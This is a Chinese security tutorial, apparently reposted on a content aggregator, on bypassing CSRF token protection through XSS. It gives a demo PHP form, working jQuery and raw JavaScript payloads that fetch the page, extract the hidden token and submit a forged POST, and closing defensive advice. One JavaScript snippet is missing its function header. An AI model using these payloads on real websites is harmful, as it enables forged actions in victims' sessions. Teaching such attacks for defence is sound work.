利用XSS绕过CSRF令牌保护
Posted 互联网产品安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用XSS绕过CSRF令牌保护相关的知识,希望对你有一定的参考价值。
CSRFtoken是防御跨站请求伪造的一种好方法,但可以通过XSS漏洞绕过这种保护措施。
在这里,将使用两种通过XSS漏洞获取CSRFtoken的技术,并且成功提交表单。以下是我们要绕过的场景:
<!doctype html>
<html lang="en-US">
<head>
<title>Steal My Token</title>
</head>
<body id="body">
<?php
$h = fopen ("/tmp/csrf", "a");
fwrite ($h, print_r ($_POST, true));
if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) {
if ($_POST['token'] === "secret_token") {
print "<p>Token accepted, the message passed is: " . htmlentities($_POST['message']) . "</p>";
fwrite ($h, "Token accepted, the message passed is: " . htmlentities($_POST['message']) . "\n");
} else {
print "<p>Invalid token</p>";
fwrite($h, "Invalid token passed\n");
}
}
fclose ($h);
?>
<form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
<input type="hidden" value="secret_token" id="token" name="token" />
<input type="text" value="" name="message" id="message" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
正如代码功能所示,通过csrftoken来保护表单不受CSRF攻击,在提交时检查此值,如果符合要求,则显示消息并将其写入文件。无效token也被记录下来帮助调试。
1、通过jQuery
第一种技术就是使用jQuery,下面是代码:
function submitFormWithTokenjQuery (token) {
$.post (POST_URL, {token: token, message: "hello world"})
.done (function (data) {
console.log (data );
});
}
function getWithjQuery () {
$.ajax ({
type: "GET",
url: GET_URL,
// Put any querystring values in here, e.g.
// data: {name: 'value'},
data: {},
async: true,
dataType: "text",
success: function (data) {
// Convert the string data to an object
var $data = $(data);
// Find the token in the page
var $input = $data.find ("#token");
// This comes back as an array so check there is at least
// one element and then get the value from it
if ($input.length > 0) {
inputField = $input[0];
token = inputField.value
console.log ("The token is: " + token);
submitFormWithTokenjQuery (token);
}
},
// In case you need to handle any errors in the
// GET request
error: function (xml, error) {
console.log (error);
}
});
}
var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getWithjQuery();
代码利用getWithjQuery函数发送一个get请求到含有csrftoken的网页。当页面返回时,对内容进行分解,获取csrftoken的值。然后将csrftoken传递给submitFormWithTokenjQuery函数并POST提交。还一种更简捷的代码。如下:
$.get("csrf.php", function(data) {
$.post("/csrf.php", {token: $(data).find("#token")[0].value, message: "hello world"})
});
2、通过javascript
可以使用不依赖任何第三方库,通过原始的JavaScript来做到。代码如下:
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&message=CSRF%20Beaten");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="/csrf.php"
var POST_URL="/csrf.php"
getTokenJS();
首先getTokenJS函数使用一个异步的XMLHttpRequest请求GET_URL网页,当它返回成功时提取DOM元素中的token。传递给submitFormWithTokenJS函数来构建另一个异步的XMLHttpRequest请求,通过POST成功提交。
结论
往往最好的保护措施可以使用一个简单的漏洞来绕过。需要引诱受害者访问存在存储型XSS的页面,或者让他们在浏览器中点击一个反射的XSS链接,以使其被触发攻击成功。
防止这种简单的方法,一是不要让网站存在XSS漏洞。如果你不能保护这一点,下一个最好的选择是使用另一种验证的形式,如可以让用户输入二次密码来确认。二是可以在重要功能处,添加下行手机和邮箱验证码来确认操作。XSS可以用来触发下行验证码,但是它不能够读取短信和邮箱里的验证码。
以上是关于利用XSS绕过CSRF令牌保护的主要内容,如果未能解决你的问题,请参考以下文章